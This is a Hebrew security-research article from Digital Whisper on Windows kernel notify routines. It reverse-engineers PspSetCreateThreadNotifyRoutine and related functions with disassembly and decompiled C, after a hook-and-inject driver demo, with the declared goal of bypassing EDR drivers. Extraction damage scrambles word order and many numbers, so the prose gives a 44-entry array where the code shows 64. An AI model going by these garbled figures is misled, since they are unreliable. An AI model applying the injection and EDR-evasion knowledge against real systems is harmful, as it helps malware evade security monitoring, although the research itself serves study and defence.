NTSTATUS 

NTAPI 

NtCreateThreadExHook( 

    ... 

) 

{ 

    MessageBoxA(nullptr, "NtCreateThreadEx has been called.", "Hi!", 0); 

 

    NTSTATUS result = reinterpret_cast<NtCreateThreadExPtr>( 

        g_inline_hook->get_duplicate_function())( 

            ... 

            ); 

 

    return result; 

} 

 :notepad.exeשל  instanceהגיע זמן לדמו! אז בואו נטען את הדרייבר וניצור  -ואחרי כל הכיף הזה 
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 התכנית תרוץ כרגיל: OKולאחר שנלחץ  popupמגניב, קיבלנו 

 
נוספים מתהליכים אחרים כאשר הם יוצרים תרדים, לכן ניתן להבין  popupsכמו כן, מדי פעם אני מקבל 

שהדרייבר שמומש עובד היטב, ואנחנו מצליחים להזריק קוד לכל תהליך שנוצר. אם כך, הבנו באופן כללי 

על מנת לזהות התנהגויות חשודות  Windows-ב Notify Routinesים משתמשים בפיצ'ר של -EDRכיצד 

ולקבל שליטה עמוקה במערכת, וכעת ננסה לעקוף את זה. בכדי לעקוף משהו, נרצה ראשית להבין כיצד 

 הוא עובד בצורה הטובה ביותר, ולשם כך נחקור ונרברס את המנגנון הזה עתה.
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 Notify Routinesרברסינג של 

כפי שציינתי בפסקה הקודמת, כעת נחקור את המנגנון המדובר על מנת להגיע להבנה מעמיקה שלו 

שתסייע לנו להצליח לעקוף דרייברים שמשתמשים בו, כמו אלה שכתבנו בחלק הקודם של המאמר. מכיוון 

, נבצע שאני מעריך מאוד ניתוח סטטי ומרגיש שהוא נותן את הידע המעמיק ביותר לגבי המנגנון הנחקר

. WinDbg. עם זאת, אבהיר כי את כל מה שנחקר פה וידאתי לאחר מכן מול IDA Proאת המחקר בעזרת 

מכיוון שבשני הדרייברים שפיתחנו הן היו  Create Thread Notify Routines-אציין כעת שהמחקר יתמקד ב

מאוד אחד לשני ולכן רוב  דומים process and thread manager-של ה callbacks-המנוע העיקרי, אך כל ה

 הללו. callbacks-המסקנות מהמחקר הזה יהיו תקפות לגבי כל ה

על מנת לחקור יש להתחיל מנקודה כלשהי, אבל מה עושים כאשר אנחנו חוקרים מנגנון מהסוג הזה, 

כאשר אין לנו אף מידע לגבי המימוש הפנימי שלו? בשביל זה נצטרך לבחור את נקודת המוצא של 

כזו שתקרב אותנו מאוד למנגנון עצמו, ושכמובן יש לנו מושג לגביה.  -שלנו בצורה מושכלת המחקר 

 -במקרה הזה, אנו מכירים שתי פונקציות עיקריות שמאפשרות לנו להתממשק עם המנגנון 

PsSetCreateThreadNotifyRoutine ו-PsRemoveCreateThreadNotifyRoutine לי אישית הראשונה .

 אז בואו נתחיל. -מכיוון שפונקציות אתחול הן בדר"כ יותר בשרניות. יאללה קורצת יותר, 

 Notify Routineיצירת 

שעל המחשב שלי, טוען את  ntoskrnl.exeוזורק לבפנים העתק של  IDA Proובכן, אני פותח את 

 :PsSetCreateThreadNotifyRoutineהפונקציה  -הסימבולים של מייקרוסופט, ומחפש את נקודת המוצא 

 

לפונקציה  wrapper, הפונקציה היא למעשה disassembly-כפי שניתן לראות ב

PspSetCreateThreadNotifyRoutine יש לשים לב שלפני הקריאה היא מאפסת את .edx  הארגומנט(

להסיק שלעומת  (, כך שניתןWindowsהמקובלת בקרנל של  fastcallהשני בקריאות לפי קונבנציית 



 
 

Windows Notify Routine Internals 

www.DigitalWhisper.co.il 

 09  2020 אוגוסט ,120גליון 
 

PsSetCreateThreadNotifyRoutine כתובת ה( שמקבלת ארגומנט אחד-notify routine ,)

PspSetCreateThreadNotifyRoutine  מקבלת שני ארגומנטים, כאשר הראשון בהם זהה לראשון

בפונקציה העוטפת )לא ניתן לראות שינוי שלו לפני הקריאה(, והשני הוא אחד שאנחנו כרגע לא יודעים 

, ובגלל שהיא PspSetCreateThreadNotifyRoutineמהי משמעותו, אך נגלה בהמשך. נסתכל כעת על 

 ותה בחלקים:פונקציה מעט יותר גדולה, נחקור א

 

, ולאחר מכן בודקת האם הערך ExAllocateCallBack-בחלק הראשון, ניתן לראות שהפונקציה קוראת ל

שהוא לא  callbackאו לא. משם הפונקציה ניתן להבין שהיא ככל הנראה מאלקצת אובייקט  0שהוחזר הוא 

רגומנטים לפני הקריאה, אפשר מסוים, ומכיוון שהפונקציה לא משנה אף אחד מהא callbackספציפי לסוג 

ארגומנטים זהים לאלה של הפונקציה הנוכחית. נסתכל כעת על  ExAllocateCallBack-להסיק של

ExAllocateCallBack כדי להבין בדיוק כיצד אובייקט ה-callback :מיוצג במערכת 
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 44, ניתן לראות שהפונקציה ראשית מאלקצת זכרון עבור האובייקט בגודל disassembly-מהסתכלות על ה

 , ולאחר מכן בודקת האם האלקוץ צלח או לא.non paged pool-בתים מה

, rsiהיא שמה את  8במידה והאלקוץ צלח, הפונקציה מאתחלת את הערכים של האובייקט. באופסט 

, שמכיל את הארגומנט שכרגע לא rdiא שמה את הי 64, ובאופסט notify routine-שמכיל את כתובת ה

ומעבירה לה את הכתובת  ExInitializeRundownProtectionידוע לנו. לאחר מכן, היא קוראת לפונקציה 

ושמה אותו בזכרון  rundown protection. הפונקציה מאתחלת אובייקט 0של האובייקט באופסט 

 שהכתובת שמועברת מצביעה אליו.

של גישה בטוחה  use-case-מיוחד שמיועד ל lockהוא  Rundown Protectionכפי שכבר ראינו, 

ממגוון מקומות שונים ושומר איזשהו  acquireלאובייקטים שעשויים להימחק. בעקרון, הוא מאפשר לעשות 

ref countכך שכשהאובייקט יהיה צריך להימחק, יהיה אפשר לחכות עד שה ,-count  ובייקט והא 0יהיה

 ExInitializeRundownProtectionמהסוג הזה הן  lock-כבר לא יהיה בשימוש. הפונקציות שרלוונטיות ל

. בעקרון הסוג שמייצג ExReleaseRundownProtection-ו ExAcquireRundownProtectionכמובן, 

rundown protections  הואEX_RUNDOWN_REF משתמש  בתים. בהמשך נראה כיצד הקרנל 8, בגודל

 .callback objects-בו בהקשר של ה

בתוך  callback-מגדירה את הכתובת של אובייקט ה ExAllocateCallBackלאחר החלק הנ"ל, הפונקציה 

מיוצג בזכרון ומאותחל, ולכן  callback-ערך החזרה, וחוזרת לקורא. כעת אנחנו מבינים כיצד אובייקט ה

ונראה כיצד היא ממשיכה מהנקודה בה האובייקט  PspSetCreateThreadNotifyRoutineנחזור לפונקציה 

 מאותחל:

 

 :loc_1408130BE-(, הפונקציה מגיעה ל0אם אתחול האובייקט לא צלח )ערך החזרה 

 

-, וקופצת לSTATUS_INSUFFICIENT_RESOURCESהפונקציה במקרה זה מגדירה את ערך ההחזרה להיות 

loc_1407534C6ממנו היא חוזרת ל ,-caller.  

  



 
 

Windows Notify Routine Internals 

www.DigitalWhisper.co.il 

 20  2020 אוגוסט ,120גליון 
 

 אם האתחול אכן צלח, הפונקציה תגיע לחלק המעניין יותר:

 

כלשהו בלולאה כפי  counter-, שככל הנראה יתפקד כebxבחלק הזה, הפונקציה ראשית מאפסת את 

את הכתובת של  rcx-. לאחר מכן, היא טוענת לloc_1407534D6-שניתן לראות ב

PspCreateThreadNotifyRoutineמעניין. יכול להיות שמדובר במערך בסיסי ששומר את כל  . הגלובל הזה

את הערך  r8d-? בואו נראה. לאחר קבלת הכתובת, הפונקציה שמה בcreate thread notify routines-ה

 8ומוסיפה אותו לכתובת.  8-בלולאה ב counter-, כלומר מכפילה את הrbx * 8, ומוסיפה לכתובת את 0

ביט, ולכן זה מחזק מאוד את ההנחה שאולי מדובר במערך של  44בתים זה גודל המצביע במערכות 

 rdx-. אחרי כן, הפונקציה שמה בcreate thread notify routinesשמייצגים  callback objects-מצביעים ל

 . הפונקציהExCompareExchangeCallBack-, וקוראת לcallback object-את הכתובת של ה

ExCompareExchangeCallBack  מצביע אליו שווה לערך של  6בודקת האם הערך שהפוינטר בארגומנט

אם ההחלפה אכן  6. ערך ההחזרה הוא 4, ואם כן, מחליפה אותו עם הערך בארגומנט 3ארגומנט 

-ב אם לא. יש לציין שפעולת ההחלפה וההשוואה מתבצעת באופן אטומי, ולכן אין שום צורך 0-התבצעה, ו

locks :בפעולה הזו ספציפית(. הקריאה לפונקציה היא כזו( 

ExCompareExchangeCallBack(&PspCreateThreadNotifyRoutine[counter], 

callback_object, 0); 

 notify routine-לכן, ניתן להבין שהקרנל רץ על הרשימה )המערך( עד שהוא מוצא איבר שאינו מאותחל ל

כאשר הוא מוצא אחד כזה. אמנם הפעולה הזו דורשת  callback object-כלשהי, ומכניס את המצביע ל

כחלק מהרשימה. די  locks-ריצה על הרשימה בכל הכנסה, אך היתרון שמתקבל הוא שאין שום שימוש ב

neat ת של מצביעים, וזו הכמות המקסימלי 44, כלומר, המערך בגודל 44. נשים לב שהריצה היא עד
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notify routines  במערכת. סביר להניח שברוב המקרים הרשימה לא תתמלא, בהמשך נראה זאת. אם

 הבא: branch-, הפונקציה מגיעה ל44מגיע לערך  counter-הרשימה אכן מלאה וה

 

שהוקצה, ולאחר מכן מגיעה  callback-כאן, הפונקציה בסך הכל מחזירה את הזכרון של אובייקט ה 

 .STATUS_INSUFFICIENT_RESOURCESלבראנץ' ששם בערך ההחזרה את 

 החדש לרשימה? בואו נראה: callback-מה קורה בהינתן והקרנל הצליח להכניס את אובייקט ה

 

, החלק התחתון של הארגומנט הלא sil-דלוק ב 0כאשר ביט  -הפונקציה מחלקת את התגובה לשני מקרים 

 create threadדוע, וכאשר הוא לא דלוק. בעיני, זו רמיזה חזקה לכך שהארגומנט הזה עשוי לייצג סוג של י

notify routine.בהמשך נחזור לכך, אך כרגע נתרכז בפונקציונליות של הפונקציה הספציפית הזו . 

, PspCreateThreadNotifyRoutineCountבצורה אטומית את  6-כבוי, הפונקציה מגדילה ב 0כאשר ביט 

הרשומים במערכת. לאחר מכן,  create thread notify routines-של ה countגלבול שכמעט בוודאות מכיל 

, עוד גלובל מעניין. לפי השם אפשר להסיק שהוא ככל הנראה PspNotifyEnableMaskהיא קוראת את 
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במערכת. בקרוב מאוד נבדוק  enabled-ש notify routines-כלשהו שמייצג את סוגי ה maskמכיל איזשהו 

אינו דלוק בו, הפונקציה מדליקה אותו בצורה אטומית. אחרת, הפונקציה  3ונוודא את טענה זו. אם ביט 

במערכת,  enabledהם  create thread notify routinesמייצג האם  mask-ב 3חוזרת. סביר להניח שביט 

 חדש מהסוג הזה. notify routineכאשר נוצר  enableולכן הפונקציה עושה לו 

, הארגומנט הלא ידוע( דלוק, הפונקציה מגדילה בצורה אטומית את sil-)ב 0לעומת זאת, כאשר ביט 

PspCreateThreadNotifyRoutineNonSystemsCountהגלובל הזה מייצג על פי השם את כמות ה .-notify 

routines  הרשומים, מסוגnon systemsה. הכל יתחבר ברגע שנבין מהו . מה זה אומר? בקרוב נרא

הפרמטר הלא ידוע, אבל את זה נדחה מעט על מנת להבין את הפונקציה כמו שצריך לפני הכל. לאחר 

אינו דלוק, ואם זה המצב, היא מדליקה אותו בצורה אטומית. אם כך,  mask-ב 4מכן, היא בודקת אם ביט 

במערכת,  enabledהם  create thread notify routinesמייצגים האם  mask-ב 3-4ניתן להסיק שביטים 

 .non systems-מייצג את ה 4מייצג את הרגילים, וביט  3כאשר ביט 

 (, וחוזרת:STATUS_SUCCESS) 0-לאחר מכן, הפונקציה מגדירה את ערך ההחזרה ל

 

 :Notify Routineעד כה, גילינו את כל העובדות הבאות לגבי יצירת 

  קייםcallback object גנרי לכל סוגי ה-callbacks שמכיל בתוכו ,rundown protectionאת כתובת ה ,-

notify routineוערך לא ידוע )שעשוי להיות ערך שמיועד לשימוש ב ,-notify routine  ,הספציפי

 ובמקרה הזה נראה שמייצג את הסוג(.

 רשימת ה-create thread notify routines  צביעים ל, המורכב ממ44היא מערך בגודל-callback 

objectsהמערך שמור כגלובל ב .-ntoskrnl  בשםPspCreateThreadNotifyRoutine הכנסת .notify 

routines  חדשים לרשימה מתבצעת ללאlocks  בכלל, על ידי שיטה שלcompare & exchange .

 .notify routines 44הרשימה עשויה להתמלא כאשר נרשמים 
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  קיימים ככל הנראה שני סוגים שלcreate thread notify routines - רגילים ו-non systems כרגע לא .

 ברורה לנו המשמעות של כל סוג, אך נבחן זאת בקרוב מאוד.

  לכל סוג שלcreate thread notify routines יש ,count כלשהו המייצג את כמות ה-notify routines 

-ו ntoskrnl - PspCreateThreadNotifyRoutineCountבתוך  הרשומים, ושמור כגלובל

PspCreateThreadNotifyRoutineNonSystemsCount. 

 קיים גלובל ב-ntoskrnl  בשםPspNotifyEnableMask שככל הנראה מכיל מידע לגבי איזה ,notify 

routines  הםenabled  מייצגים האם  4-ו 3ואיזה לא. ביטיםcreate thread notify routines  הם

enabled מייצג כאלה מסוג  4-מייצג כאלה מהסוג הרגיל, ו 3, כאשרnon systems. 

 כעת, עלינו לוודא כמה טענות שלא וידאנו עד כה:

  מהו הארגומנט הלא ידוע? האם זהו אכן סוג שלcreate thread notify routine ?כפי שנדמה לנו 

 האם ה-PspNotifyEnableMask  באמת מגדיר איזהnotify routines  הםenabled ?ואיזה לא 

לפונקציה  xrefs-נתחיל עם וידוא הטענה הראשונה. לשם כך, נמצא את כל ה

PspSetCreateThreadNotifyRoutine ,כך שמתישהו נמצא פונקציה שמתמשת בפרמטר הלא ידוע באמת ,

 :xrefs-ולא סתם מאפסת אותו. זוהי רשימת ה

 

היא  PspSetCreateThreadNotifyRoutine-שניתן לראות, הפונקציה השנייה שקוראת )ואולי עוטפת( לכפי 

PsSetCreateThreadNotifyRoutineEx לפני שנתחיל לחקור אותו, נסתכל על החתימה שלה ונבין מה .

 הארגומנטים שהיא מקבלת:

NTSTATUS PsSetCreateThreadNotifyRoutineEx( 

  PSCREATETHREADNOTIFYTYPE NotifyType, 

  PVOID                    NotifyInformation 

); 

NotifyType מייצג את סוג ה-notify routineו ,-NotifyInformation מכיל את כתובת ה-notify routine .

 :enum-יכול לקבל? בואו נסתכל על ה NotifyType-ש notify routine-מהם סוגי ה

typedef enum _PSCREATETHREADNOTIFYTYPE { 

  PsCreateThreadNotifyNonSystem, 

  PsCreateThreadNotifySubsystems 

} PSCREATETHREADNOTIFYTYPE; 
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 non-רץ לא בקונטקסט של ה notify routine-היא שה PsCreateThreadNotifyNonSystemהמשמעות של 

system thread  החדש שנוצר, לעומתcreate thread notify routine שמריץ את ה-callback  .בתרד היוצר

מכל  threadsייקרא בעבור  callback-היא שה PsCreateThreadNotifySubsystemsהמשמעות של 

subsystem  במערכת, כמוwsl. 

 create thread notifyאם כך, נראה שיש סיכוי טוב שהארגומנט הלא ידוע הוא אכן סוג, במקרה של 

routine יש לזכור שהארגומנט הזה הוא כנראה ערך פולימורפי שמיועד לשימוש של כל .notify routine 

 , כדי לשמור מידע חשוב עבורה, כמו הסוג שראינו כעת.callback-בתוך האובייקט הגנרי של ה

ם את עושה עם הארגומנטים שלו, והאם זה תוא PsSetCreateThreadNotifyRoutineExבואו נבדוק מה 

 ההשערות שלנו:

 

את  ebx-, היא שמה ב0. במידה והוא 6, ואם לא, האם הוא 0ראשית, הפונקציה בודקת האם הסוג הוא 

. ככל הנראה אלה הערכים הפנימיים שהיא 4את הערך  ebx-, היא שמה ב6, ובמידה והוא 6הערך 
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 branch-, הפונקציה מגיעה ל6ולא  0. אם הוא לא enum-שב 6-ו 0-משתמשת בהם לייצוג הסוג, בניגוד ל

 הבא:

 

וחוזרת. נחזור  STATUS_INVALID_PARAMETERובכן, היא בסך הכל מגדירה את ערך ההחזרה בתור 

לערך הסוג הפנימי, היא קוראת לפונקציה  ebxלדיסאסמבלי הקודם. ניתן לראות שאחרי הגדרת 

MmVerifyCallbackFunctionCheckFlags את הכתובת של ה 6, ומעבירה לה בתור ארגומנט-notify 

routine 0את הערך  4, ובתור ארגומנטx20כנראה שהפונקציה הזו עושה איזושהי ואלידציה על ה .-notify 

routine אולי כדי לוודא שהיא נמצאת בתוך דרייבר שנטען בצורה ראויה או משהו בסגנון. אם הפונקציה ,

 הבא: branch-צלחה, הפונקציה מגיעה למחזירה סטטוס של אי ה

 

, STATUS_ACCESS_DENIEDכאן, ניתן לראות שהפונקציה מגדירה את ערך ההחזרה להיות הסטטוס 

אין תיעוד לערך ההחזרה הזה, אבל אם נסתכל על התיעוד לפונקציה  MSDN-ומשם חוזרת. ב

PsSetCreateProcessNotifyRoutineEx  התיעוד הבא לערך ההחזרה הנ"ל:)שמאוד דומה לה(, נראה את 

The image that contains the callback routine pointer did not have 

IMAGE_DLLCHARACTERISTICS_FORCE_INTEGRITY set in its image header. 

כלשהו  flagמוודאת האם  MmVerifyCallbackFunctionCheckFlagsסבבה, אז ככל הנראה הפונקציה 

מייצג את  0x20, ובמקרה הזה, הפלאג notify routine-של הדרייבר שבתוכו ה PE-דלוק ב

IMAGE_DLLCHARACTERISTICS_FORCE_INTEGRITY כך שעל מנת להשתמש בפונקצייה הזו, יש להגדיר ,

 .PE-, כך שהוא ידליק את הדגל הנ"ל בINTEGRITYCHECK/בלינקר את 

 המעניין: branch-הבא, שהוא ה branch-אם כל הבדיקות הצליחו, הפונקציה תגיע ל
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שחקרנו קודם לכן, כאשר  PspSetCreateThreadNotifyRoutine-ניתן לראות שהפונקציה קוראת ל 

, ובארגומנט השני מעבירה את הסוג notify routine-בארגומנט הראשון היא מעבירה את כתובת ה

 create-נט השני מייצג את הסוג של ה. אז הצלחנו לאמת את הטענה שהארגומebx-הפנימי ששמור ב

thread notify routine 0כבוי בו הוא רגיל וירוץ בקונטקסט של התרד היוצר, ואם ביט  0, כך שאם ביט 

, והוא ירוץ בקונטקסט של התרד שנוצר. non system create thread notify routineדלוק בו הוא נחשב 

את הסוג השני. כמו כן, אם  4מייצג ככל הנראה את הסוג הראשון, וביט  PspNotifyEnableMask-ב 3ביט 

שתיקרא בעבור יצירת וסיום תרד מכל  notify routineדלוק בארגומנט השני, הוא מייצג  6ביט 

subsystem. 

 notifyבאמת מגדיר איזה  PspNotifyEnableMask-האם ה -כעת הגענו לטענה השנייה שעלינו לוודא 

routines  הםenabled  שימוש ב -ואיזה לא? לשם כך נעבור לחלק הבא-notify routines . 

 

 Notify Routines-שימוש ב

כדי להבין כיצד השימוש נעשה, נעבור  notify routines-על מנת למצוא את כל הפונקציות שמשתמשות ב

 (:create thread notify routines-)רשימת ה PspCreateThreadNotifyRoutine-ל xrefs-על כל ה

 

 לרשימה: xrefניתן לראות שכל הפונקציות הבאות עושות 

 PspCallThreadNotifyRoutines -  זו נראית פונקציה מעניינת, לפי השם ניתן להסיק שהיא הפונקציה

 כאשר תרד נוצר או מסתיים. create thread notify routines-שקוראת לכל ה

 PspEnumerateCallback -  זו נראית גם פונקציה מעניינת. לפי השם גם זו כנראה פונקציה גנרית של

 .process & thread manager-של ה callbacksאנומרציה על רשימה של 

 PspSetCreateThreadNotifyRoutine -  הפונקציה שחקרנו קודם שמכניסהcreate thread notify 

routine .חדשה לרשימה 

 PsRemoveCreateThreadNotifyRoutine -  הפונקציה שמוציאהnotify routine מרשימת ה-create 

thread notify routines.נחקור אותה בחלק הבא , 
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 PspInitPhase0 - פונקצית האתחול הראשונית של ה-process & thread manager מאתחלת את כל .

 הראשוני. ככל הנראה מאתחלת את הרשימה. system process-המבנים הבסיסיים ויוצרת את ה

 עושה איתה: PspInitPhase0לפני שנתעסק בהתעסקויות הרציניות יותר עם הרשימה, נתחיל בלראות מה 

 

-כפי שניתן לראות, הפונקציה מבצעת לולאה שלמה על כל הרשימה, כשבכל פעם היא קוראת ל

RtlRunOnceInitializeכאשר הארגומנט אותו היא מעב ,( ירהrcx הוא הכתובת של איבר ברשימה שאמור )

 :RtlRunOnceInitialize. זו הפונקציה callback object-להכיל מצביע ל

 

יש  PspInitPhase0-טוב, אז זה די ברור. הפונקציה בסה"כ מאפסת את הערך בכתובת שמועברת, כך שב

 .0-מאותחלת כולה ל create thread notify routines-שלב בו רשימת ה

. כפי שציינתי קודם לכן, PspCallThreadNotifyRoutinesנעבור כעת להסתכל על פונקציה מעניינת יותר, 

כאשר  create thread notify routines-לפי שמה, סביר להניח שהפעולה שהיא מבצעת היא קריאה לכל ה

, החלטתי branchesן נוצר או מסתיים תרד. מכיוון שפונקציה זו מעט יותר מורכבת והיא מכילה המו

שבמקום להציג דיסאסמבלי שלה, אציג את הדיקומפילציה שכתבתי לה, שמייצגת בצורה טובה את מה 

 שהיא עושה. 
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 אליה, ניתן לראות שהפונקציות הבאות קוראות לה: xrefs-אציין לפני כן שמתוך הסתכלות על כל ה

 

של  state-היא פונקציה שמאתחלת את ה PspInitializeThunkContextהקריאות די מסבירות את עצמן. 

-תרד חדש ורצה כשהתרד כבר קיים, כך שסביר להניח שהפונקציה הזו מבצעת קריאה ל

PspCallThreadNotifyRoutines  עם ארגומנטים שמייצגים את העובדה שמדובר בתרד חדש, ושיש עליה

שמעתה נקרא  -בערך הלא ידוע  0)ביט  non systemמסוג  create thread notify routines-לקרוא לכל ה

 דלוק(. - context-לו ה

PspInsertThread  היא אחת מהפונקציות המרכזיות ביותר ביצירת תרדים )מתוך התרד היוצר כמובן(, לכן

ש, עם ארגומנטים שמייצגים תרד חד PspCallThreadNotifyRoutines-ניתן להסיק שפונקציה זו תקרא ל

שלהן כבוי(. לבסוף, יש  context-ב 0הרגילים )ביט  create thread notify routines-ושעליה לקרוא לכל ה

, שהיא הפונקציה שנקראת בעת סיום תרד, לכן אפשר להסיק PspExitThreadקריאה לפונקציה מתוך 

צג את העובדה עם ארגומנט המיי PspCallThreadNotifyRoutines-שפונקציה זו תבצע את הקריאה ל

 שמדובר בסום תרד. נסתכל על הארגומנטים המועברים בכל קריאה:

  מתוךPspInitializeThunkContext:הקריאה היא כזו , 

PspCallThreadNotifyRoutines(thread, 1, 1) 

  מתוךPspInsertThread:הקריאה היא כזו , 

PspCallThreadNotifyRoutines(thread, 1, 0) 

  מתוךPspExitThread:הקריאה היא כזו , 

PspCallThreadNotifyRoutines(thread, 0, 0) 

מייצג האם  4הרלוונטי, ארגומנט  ETHREAD-מכיל את אובייקט ה 6לפי הקריאות, אפשר להבין שארגומנט 

מייצג האם הקריאה מתבצעת מתוך  3מייצג יצירה(, וארגומנט  TRUEמדובר ביצירה של תרד או בסיום )

 של התרד. context-ה
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אחרי שהבנו את זה, נסתכל על הדיקומפילציה שיצרתי לפונקציה )שימו לב שיכולים להיות הבדלים 

 מסוימים מהפונקציה המקורית, אך הפונקציונליות בגדול די זהה(:
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כאשר  -יש פה הרבה קוד, אז בואו נבין כעת מה הפונקציה עושה. ראשית, היא מתחלקת לשני מצבים 

create  יצירת תרד(, וכאשר( דלוקcreate  כאשר נוצר תרד, היא בודקת האם הקריאה .)כבוי )סיום תרד

דלוק(, או שמא התבצעה מתוך התרד היוצר  in_thread_contextאליה התבצעה מתוך התרד )

(in_thread_context  כאשר היא בודקת את הדגל הזה, היא במקביל בודקת שהביט הרלוונטי בתוך .)כבוי

PspNotifyEnableMask  עבור הרצה  4עבור הרצה מהקונטקסט של יוצר התרד, וביט  3דלוק )ביט

 מהקונטקסט של התרד(. 

דלוק והכל בסדר, הפונקציה מגיעה לחלק בו היא קוראת  PspNotifyEnableMask-אם הביט הרלוונטי ב

הרלוונטיות למצב. עכשיו הגענו לחלק המעניין. בחלק הזה, הפונקציה רצה  notify routines-לכל ה

. בכל איטרציה של הלולאה, create thread notify routines-פעמים, על כל הרשימה של ה 44בלולאה 

 ם:הפונקציה מבצעת את השלבים הבאי

עם הכתובת של המצביע בתוך רשימת  ExReferenceCallBackBlock-קריאה ל .1

PspCreateThreadNotifyRoutine הפונקציה בודקת האם בכתובת המועברת יושב מצביע תקין, ואם .

שהמצביע  callback object-, ומחזירה את הכתובת של הrundown protection-ל acquireכן, עושה 

 מצביע אליו.

אם הבדיקה  notify routine-בתוכו(, וקריאה ל context-)של ה callback object-של סוג הבדיקה  .2

עברה בצורה תקינה. במקרה של קריאה מתוך הקונטקסט של התרד, הבדיקה שמתבצעת היא האם 

בקונטקסט דלוק. במקרה של קריאה מתוך הקונטקסט של התרד היוצר, הבדיקה שמתבצעת  0ביט 

, תהליך pico process)תרד שבתוך  pico threadונטקסט כבוי, והאם זה אינו בק 0היא האם ביט 

בקונטקסט דלוק  6( או שביט wsl, כמו windows subsystem-שאינו ה subsystem-מינימלי שמשויך ל

לקבל נוטיפיקציות  routine notify-ומאפשר ל, PsCreateThreadNotifySubsystems)הביט שמייצג את 

 (. pico threads גם על יצירת
 

, היא pico threadהסיבה שבקריאה מתוך הקונטקסט של התרד אין בדיקה למקרה שזהו 

-לא נקראת עבורם, אלא רק עבור תרדים סטנדרטיים של ה PspInitializeThunkContextשהפונקציה 

windows subsystem. 

 callback-שמקושרת ל notify routine-אם הבדיקה הקודמת הייתה תקינה, מתבצעת קריאה ל .3

object  ה -עם כל הארגומנטים הרלוונטים-pidה ,-tidוה ,-create. 

 rundown-ל release, שמבצעת ExDereferenceCallBackBlock-אחרי הכל, מתבצעת קריאה ל .4

protection המקושר עם ה-callback object. 

דלוק, ואם כן,  4-ו 3מביטים  במקרה והפונקציה נקראת עבור סיום תרד, מתבצעת בדיקה האם אחד

 6היא האם ביט  contextמתבצעת לולאה דומה מאוד לזו שצוינה קודם, כאשר הבדיקה שמתבצעת על כל 

 .pico threadבו דלוק, או שהתרד אינו 

, שמתי ExDereferenceCallBackBlock-ו ExReferenceCallBackBlockכמו כן, אציין שמתוך הסתכלות על 

( מייצג PspCreateThreadNotifyRoutine)מתוך רשימת  callback object-הימני במצביע ל nibble-לב שה
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הפונקציה  ExDereferenceCallBackBlock-שיש שימוש בו בסינכרוניזציה, ולכן גם ב countאיזשהו 

מתוך הרשימה. עם זאת, במימושים שלנו נתעלם  callback object-מעבירה את הכתובת של המצביע ל

 rundown-זה, מכיוון שהסינכרוניזציה תישאר תקינה גם עם שימוש בסיסי בפונקציות ה nibble-וטין מלחל

protection . 

, וידאנו את משמעות create thread notify routines-אז כעת הבנו כיצד מתבצעת הקריאה לכל ה

-ב 4-ו 3ות ביטים , ואת משמעcreate thread notify routineשל  callback object-הקונטקסט ב

PspNotifyEnableMaskולכן נעבור עכשיו לפונקציה הבאה שמתעסקת עם רשימת ה ,-create thread 

notify routines -  הפונקציהPspEnumerateCallback שגם במקרה שלה, נסתכל על הדיקומפילציה ,

 שכתבתי:

typedef enum _PSP_NOTIFY_ROUTINE_TYPE { 

    CREATE_THREAD_NOTIFY_ROUTINE, 

    CREATE_PROCESS_NOTIFY_ROUTINE, 

    LOAD_IMAGE_NOTIFY_ROUTINE 

} PSP_NOTIFY_ROUTINE_TYPE; 

 

BOOL PspEnumerateCallback(PSP_NOTIFY_ROUTINE_TYPE type, unsigned int* 

index, PSP_CALLBACK_OBJECT** ptr_callback_address) 

{ 

    PSP_CALLBACK_OBJECT (*notify_routine_list)[64]; 

 

    switch (type) { 

    case CREATE_THREAD_NOTIFY_ROUTINE: 

        notify_routine_list = &PspCreateThreadNotifyRoutine; 

        break; 

     

    case CREATE_PROCESS_NOTIFY_ROUTINE: 

        notify_routine_list = &PspCreateProcessNotifyRoutine; 

        break; 

 

    case LOAD_IMAGE_NOTIFY_ROUTINE: 

        notify_routine_list = &PspLoadImageNotifyRoutine; 

        break; 

    } 

 

    if (*index < 64) { 

        *ptr_callback_address = &notify_routine_list[*index++]; 

        return TRUE; 

    } 

 

    return FALSE; 

} 

לעשות עליו אנומרציה  notify routineסוג  -כפי שניתן לראות, הפונקציה מקבלת שלושה ארגומנטים 

(, מצביע לאינדקס process & thread manager-של ה notify routines-)הפונקציה מטפלת בכל סוגי ה

פונקציית אנומרציה קלאסית(, ומצביע  -)היא משתמשת בו כדי להגדיל אותו באחד לאחר השימוש בו 

 .callback-למשתנה שיקבל את הכתובת של האיבר ברשימה שמכיל את הכתובת של ה
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היא  להיות הרשימה המתאימה לסוג שהועבר. לאחר מכן, notify_routine_listהפונקציה מגדירה את 

להיות  ptr_callback_address. אם כן, היא תגדיר את הערך בתוך 44-בודקת האם האינדקס קטן מ

, ומחזירה 6-, מגדילה את האינדקס בcallback-הכתובת של האיבר ברשימה שמכיל את הכתובת של ה

TRUE אחרת, היא לא עושה כלום ומחזירה .FALSE . 

הפונקציה מאוד מאוד פשוטה כפי שראינו, אך היא מאוד שימושית לכל סיטואציה של אנומרציה על כל 

 create thread)ואפילו בעזרתה קל להבין שהמסקנות שאנו מסיקים מתוך המחקר של  callbacksרשימת 

notify routines  תקפות ברובן גם על הסוגים האחרים שלnotify routines של ה-process & thread 

manager בואו נבדוק מי משתמש בה על ידי .)xref :פשוט 

 

-אוקי, אז ניתן לראות שרק פונקציה אחת משתמשת בפונקציה הזו כאשר היא שמה את הכתובת שלה ב 

rax:ולפונקציה הזו אין סימבול אפילו. בואו נסתכל מה קורה בה בכלליות , 

 

עם מלא כתובות של פונקציות. לי זה מריח כמו משהו מעניין.  נחמד, נראה שהיא מגדירה מבנה נורא גדול

, בזום הכי נמוך. למי IDAנסתכל על הגרף הכולל שלה, ונראה פונקציה שמשתרעת על שבעה פריימים של 

קרנל, אולי יודע שהפונקציות שנוטות להיות גדולות בצורה כזו בדר"כ  Windows-שיש היכרות עם ה

 . patchguard-קשורות ל
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בדוק מי קורא לה ונראה עוד פונקציה ללא סימבול, וכאשר נבדוק מי קורא לפונקציה הנוספת, נראה את נ

 הבאה: xrefs-רשימת ה

 

, KiFilterFiberContextכפי שניתן לראות, פונקציה משמעותית מאוד שמשתמשת בפונקציה הזו היא 

, שמכיל בין patchguard context-)או יותר נכון מבנה בשם ה patchguardהפונקציה שמאתחלת את 

משתמש בהן(. אם כך, ניתן להבין שהמשתמש היחידי של  pg-השאר רשימה של מלא פונקציות ש

PspEnumerateCallback  הואpatchguard . 

, ומכיוון שהפוקוס של המחקר הוא לא מעקף של rabbit holeלהתחיל להבין מה קורה שם זה חתיכת 

patchguard לעזוב את זה בצד ולהתמקד אך ורק ב, החלטתי-notify routines אך זה יכול להיות מחקר ,

